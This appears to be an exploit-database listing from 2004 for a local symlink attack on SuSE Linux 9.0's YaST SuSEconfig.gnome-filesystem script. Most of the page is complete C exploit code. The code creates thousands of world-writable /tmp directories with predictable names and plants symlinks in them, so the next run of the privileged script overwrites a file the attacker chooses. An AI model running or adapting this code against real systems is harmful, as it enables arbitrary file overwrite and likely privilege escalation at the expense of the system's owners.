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SuSE linux 9.0 YaST config Skribt Local Exploit

🗓️ 15 Jan 2004 00:00:00Reported by l0omType 
zdt
 zdt
🔗 0day.today👁 27 Views

Local exploit in SuSE Linux 9.0 YaST script allows file overwrite via symlink attack.

Code
===============================================
SuSE linux 9.0 YaST config Skribt Local Exploit 
===============================================

 #include <stdio.h>  
 #include <unistd.h>  
 #include <string.h>  
  
 #define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem."  
 #define START 1  
 #define END 33000  
  
 int main(int argc, char **argv)  
 {  
 int i;  
 char buf[150];  
  
 printf("\tSuSE 9.0 YaST script 
SuSEconfig.gnome-filesystem exploit\n");  
 printf("\t-------------------------------------------------------------
\n");  
 printf("\tdiscovered and written by l0om 
<l0om excluded org>\n");  
 printf("\t WWW.EXCLUDED.ORG\n\n");  
  
 if(argc != 2) {  
 printf("usage: %s <destination-file>\n",argv[0]);  
 exit(0xff);  
 }  
  
 printf("### hit enter to create or overwrite file %
s: ",argv[1]); fflush(stdout);  
 read(1, buf, 1); fflush(stdin);  
  
 umask(0000);  
 printf("working\n\n");  
 for(i = START; i < END; i++) {  
 snprintf(buf, sizeof(buf),"%s%d",PATH,i);  
 if(mkdir(buf,00777) == -1) {  
 fprintf(stderr, "cannot creat directory [Nr.%d]
\n",i);  
 exit(0xff);  
 }  
 if(!(i%1000))printf(".");  
 strcat(buf, "/found");  
 if(symlink(argv[1], buf) == -1) {  
 fprintf(stderr, "cannot creat symlink from %s to %s 
[Nr.%d]\n",buf,argv[1],i);  
 exit(0xff);  
 }  
 }  
 printf("\ndone!\n");  
 printf("next time the SuSE.gnome-filesystem script 
gets executed\n");  
 printf("we will create or overwrite file %s
\n",argv[1]);  
 return(0x00);  
 }  /* i cant wait for the new gobbles comic!! */ 



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15 Jan 2004 00:00Current
6.8Medium risk
Vulners AI Score6.8
27